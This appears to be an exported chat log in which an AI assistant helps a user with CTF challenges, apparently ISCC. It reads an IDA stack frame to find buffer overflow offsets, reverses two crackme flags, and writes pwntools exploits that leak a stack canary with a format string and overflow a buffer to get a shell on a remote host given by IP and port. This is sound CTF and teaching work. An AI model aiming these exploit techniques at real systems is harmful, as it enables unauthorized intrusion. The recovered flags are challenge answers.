0000000000000078 // Use data definition commands t...

Question

0000000000000078 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000078 // Frame size: 78; Saved regs: 4; Purge: 0
-0000000000000078
-0000000000000078 // padding byte
-0000000000000077 // padding byte
-0000000000000076 // padding byte
-0000000000000075 // padding byte
-0000000000000074 _DWORD var_74;
-0000000000000070 _BYTE buf;
-000000000000006F // padding byte
-000000000000006E // padding byte
-000000000000006D // padding byte
-000000000000006C // padding byte
-000000000000006B // padding byte
-000000000000006A // padding byte
-0000000000000069 // padding byte
-0000000000000068 // padding byte
-0000000000000067 // padding byte
-0000000000000066 // padding byte
-0000000000000065 // padding byte
-0000000000000064 // padding byte
-0000000000000063 // padding byte
-0000000000000062 // padding byte
-0000000000000061 // padding byte
-0000000000000060 // padding byte
-000000000000005F // padding byte
-000000000000005E // padding byte
-000000000000005D // padding byte
-000000000000005C // padding byte
-000000000000005B // padding byte
-000000000000005A // padding byte
-0000000000000059 // padding byte
-0000000000000058 // padding byte
-0000000000000057 // padding byte
-0000000000000056 // padding byte
-0000000000000055 // padding byte
-0000000000000054 // padding byte
-0000000000000053 // padding byte
-0000000000000052 // padding byte
-0000000000000051 // padding byte
-0000000000000050 // padding byte
-000000000000004F // padding byte
-000000000000004E // padding byte
-000000000000004D // padding byte
-000000000000004C // padding byte
-000000000000004B // padding byte
-000000000000004A // padding byte
-0000000000000049 // padding byte
-0000000000000048 // padding byte
-0000000000000047 // padding byte
-0000000000000046 // padding byte
-0000000000000045 // padding byte
-0000000000000044 // padding byte
-0000000000000043 // padding byte
-0000000000000042 // padding byte
-0000000000000041 // padding byte
-0000000000000040 // padding byte
-000000000000003F // padding byte
-000000000000003E // padding byte
-000000000000003D // padding byte
-000000000000003C // padding byte
-000000000000003B // padding byte
-000000000000003A // padding byte
-0000000000000039 // padding byte
-0000000000000038 // padding byte
-0000000000000037 // padding byte
-0000000000000036 // padding byte
-0000000000000035 // padding byte
-0000000000000034 // padding byte
-0000000000000033 // padding byte
-0000000000000032 // padding byte
-0000000000000031 // padding byte
-0000000000000030 // padding byte
-000000000000002F // padding byte
-000000000000002E // padding byte
-000000000000002D // padding byte
-000000000000002C // padding byte
-000000000000002B // padding byte
-000000000000002A // padding byte
-0000000000000029 // padding byte
-0000000000000028 // padding byte
-0000000000000027 // padding byte
-0000000000000026 // padding byte
-0000000000000025 // padding byte
-0000000000000024 // padding byte
-0000000000000023 // padding byte
-0000000000000022 // padding byte
-0000000000000021 // padding byte
-0000000000000020 // padding byte
-000000000000001F // padding byte
-000000000000001E // padding byte
-000000000000001D // padding byte
-000000000000001C // padding byte
-000000000000001B // padding byte
-000000000000001A // padding byte
-0000000000000019 // padding byte
-0000000000000018 // padding byte
-0000000000000017 // padding byte
-0000000000000016 // padding byte
-0000000000000015 // padding byte
-0000000000000014 // padding byte
-0000000000000013 // padding byte
-0000000000000012 // padding byte
-0000000000000011 // padding byte
-0000000000000010 // padding byte
-000000000000000F // padding byte
-000000000000000E // padding byte
-000000000000000D // padding byte
-000000000000000C _DWORD var_C;
-0000000000000008 // padding byte
-0000000000000007 // padding byte
-0000000000000006 // padding byte
-0000000000000005 // padding byte
-0000000000000004 // padding byte
-0000000000000003 // padding byte
-0000000000000002 // padding byte
-0000000000000001 // padding byte
+0000000000000000 _DWORD __saved_registers;
+0000000000000004 _UNKNOWN *__return_address;
+0000000000000008
+0000000000000008 // end of stack variables

Answer 1

This stack-frame view means IDA has only identified buf as a single byte, but the long run of “padding byte” entries strongly suggests it is really an array.

Likely intended layout:

c
// frame size: 0x78 bytes
// 32-bit function: saved register/frame ptr at +0, return address at +4

char padding_top[4];     // [ebp-0x78 .. ebp-0x75]
uint32_t var_74;         // [ebp-0x74 .. ebp-0x71]
uint8_t buf[0x64];       // [ebp-0x70 .. ebp-0x0D], 100 bytes
uint32_t var_C;          // [ebp-0x0C .. ebp-0x09]
char padding_bottom[8];  // [ebp-0x08 .. ebp-0x01]
saved_regs;              // [ebp+0x00]
return_address;          // [ebp+0x04]

So the important part is:

c
_BYTE buf;   // IDA's current guess

should probably be treated as:

c
_BYTE buf[0x64];  // 100 bytes

Useful overwrite offsets

From the start of buf at -0x70:

Target	Offset from `buf`
`var_C`	`0x64` / 100 bytes
saved register / saved frame pointer	`0x70` / 112 bytes
return address	`0x74` / 116 bytes

So if this is a stack overflow situation, the saved return address is likely reached after 116 bytes from the start of buf, and the next 4 bytes would overwrite the return address in a 32-bit binary.

In IDA, you can clean this up by changing buf into an array of 0x64 bytes in the stack frame view, so the decompiler will show something closer to:

c
char buf[100];

Answer 2

逆出来的 flag 是：

text
ISCC{lsryatwyoouacieuIIlhdle}

关键逻辑如下：

前面的“兔子洞”循环最终只保留索引 1、3、6、8，对应 Fibonacci 数组里的 344、21、89、233。也就是说真正参与变换的 key 是这四个。(Sunny个人小记 - 我的生活·语文·课堂·技术手记)
正向校验流程是：

text
inner_flag
 -> RC4(key="344")
 -> XOR(key="21")
 -> ADD(key="89")
 -> PKCS#7 padding 到 8 字节
 -> TEA encrypt(key = SHA256("233")[:16])
 -> 大写 HEX
 -> 和目标串比较

其中 sub_401FF0 是 RC4，sub_402370 是循环 XOR，sub_402410 是按 key 循环加法，sub_401B80 是 TEA 加密，sub_402FD0 是转大写十六进制。(Sunny个人小记 - 我的生活·语文·课堂·技术手记)

你这份代码里的目标串是：

text
5BE40A502A2D7BF0E90B66D009008089A6949A7F04476E80

反向执行：

text
HEX -> TEA 解密 -> 去 padding -> 减 "89" -> XOR "21" -> RC4("344")

得到花括号内部：

text
lsryatwyoouacieuIIlhdle

所以最终：

text
ISCC{lsryatwyoouacieuIIlhdle}

Answer 3

拿到的 flag 是：

text
ISCC{47>3^]+7YD@~@^@1a5|bX<d~OH*8`1}

核心逆向过程：

c
printf("Input Flag: ");
scanf("%36s", input);

程序要求输入长度为 36。然后对每个字符依次执行 3 个变换函数：

text
func_401000 -> func_401050 -> func_4010D0

每个位置 i 的正向变换可整理为：

python
b = flag[i]
b = rol8(b ^ 0x55, 2)
b = (b + i) & 0xff
b = b ^ key[i % 8]          # key = 12 34 56 78 90 AB CD EF
b = (b + 0x7f) & 0xff
b = b ^ ((i + 0x20) & 0xff)

之后程序动态解密一段 shellcode/校验函数。无调试状态下 seed 是：

text
0xDEADBEEF

解密后得到 36 字节目标值：

python
target = [
    0xC1,0x8D,0xA9,0x81,0x8F,0x85,0xE7,0xFD,
    0x1A,0xA9,0xD1,0xD0,0xA8,0x38,0x30,0x24,
    0x1D,0xE1,0xD5,0xAD,0x80,0xF8,0xEF,0xE4,
    0x5D,0xC1,0x52,0x1D,0xEB,0x90,0xE0,0x4D,
    0x06,0x01,0x26,0x79
]

反向脚本：

python
target = [
    0xC1,0x8D,0xA9,0x81,0x8F,0x85,0xE7,0xFD,
    0x1A,0xA9,0xD1,0xD0,0xA8,0x38,0x30,0x24,
    0x1D,0xE1,0xD5,0xAD,0x80,0xF8,0xEF,0xE4,
    0x5D,0xC1,0x52,0x1D,0xEB,0x90,0xE0,0x4D,
    0x06,0x01,0x26,0x79
]

key = [0x12, 0x34, 0x56, 0x78, 0x90, 0xAB, 0xCD, 0xEF]

def ror8(x, n):
    return ((x >> n) | ((x << (8 - n)) & 0xff)) & 0xff

flag = []

for i, b in enumerate(target):
    b ^= (i + 0x20) & 0xff
    b = (b - 0x7f) & 0xff
    b ^= key[i % 8]
    b = (b - i) & 0xff
    b = ror8(b, 2)
    b ^= 0x55
    flag.append(b)

print(bytes(flag).decode())

输出：

text
ISCC{47>3^]+7YD@~@^@1a5|bX<d~OH*8`1}

Answer 4

最简利用脚本如下：

python
from pwn import *

context(arch='i386', os='linux')
elf = ELF('./pwn')

# io = process('./pwn')
io = remote('IP', PORT)

io.recvuntil(b'Hello Hacker!\n')

# 第一次 read + printf，泄露 canary
io.sendline(b'%31$p')
canary = int(io.recvline().strip(), 16)
log.success(f'canary = {hex(canary)}')

# 第二次 read，栈溢出打 getshell
payload  = b'a' * 100
payload += p32(canary)
payload += b'b' * 12
payload += p32(elf.sym['getshell'])

io.sendline(payload)
io.interactive()

关键点：

text
canary 下标: %31$p
buf 到 canary: 100 字节
canary 到 ret: 12 字节
getshell 地址: 0x080491c6

本地打的话把这行：

python
io = remote('IP', PORT)

换成：

python
io = process('./pwn')

Answer 5

你这次线上失败的关键点在日志里：

text
canary = 0xcd670a00
p32(canary) = 00 0a 67 cd

canary 里有一个 0x0a，也就是换行符。你用的是 sendline(payload)，payload 中间本来就有换行，再加上末尾换行，线上环境很容易提前截断/读乱。所以本地能通，线上这次直接 EOF。

把第二次输入改成 send(payload)，不要用 sendline(payload)；同时建议 canary 里出现 \n 时直接重连重打。

最简稳定版：

python
from pwn import *

context(arch='i386', os='linux', log_level='debug')

elf = ELF('./pwn')

HOST = '39.96.193.120'
PORT = 10018

while True:
    io = remote(HOST, PORT)

    io.recvuntil(b'Hello Hacker!\n')

    # leak canary
    io.sendline(b'%31$p')
    canary = int(io.recvline().strip(), 16)
    log.success(f'canary = {hex(canary)}')

    # 你这次就是 00 0a 67 cd，中间有换行，线上容易炸
    if b'\n' in p32(canary):
        io.close()
        continue

    payload  = b'a' * 100
    payload += p32(canary)
    payload += b'b' * 12
    payload += p32(elf.sym['getshell'])

    # 第二次一定用 send，不要 sendline
    io.send(payload)

    io.interactive()
    break

更推荐用 system("/bin/sh")，比跳 getshell() 更干净一点：

python
from pwn import *

context(arch='i386', os='linux', log_level='debug')

elf = ELF('./pwn')

HOST = '39.96.193.120'
PORT = 10018

while True:
    io = remote(HOST, PORT)

    io.recvuntil(b'Hello Hacker!\n')
    io.sendline(b'%31$p')

    canary = int(io.recvline().strip(), 16)
    log.success(f'canary = {hex(canary)}')

    if b'\n' in p32(canary):
        io.close()
        continue

    system = elf.plt['system']
    binsh = next(elf.search(b'/bin/sh'))

    payload  = b'a' * 100
    payload += p32(canary)
    payload += b'b' * 12
    payload += p32(system)
    payload += p32(0xdeadbeef)
    payload += p32(binsh)

    io.send(payload)

    # 没有 shell 提示符，直接发命令
    io.sendline(b'cat flag')
    io.interactive()
    break

如果还 EOF，就先加一句验证第二次 printf 是否执行：

python
io.send(payload)
io.recvuntil(b'a' * 100, timeout=1)
io.sendline(b'cat flag')
io.interactive()

能收到 100 个 a 说明第二次 read/printf 已经走完，后面就是 ret2shell 的问题；收不到则说明 payload 在第二次输入阶段就被截断或服务端二进制不一致。

0000000000000078 // Use data definition commands t...

问题

思考

回答

Useful overwrite offsets

问题

Python

Python

Python

Python

Python

思考

回答

问题

问题

思考

回答

问题

思考

回答

问题

思考

思考

回答

分享这个问答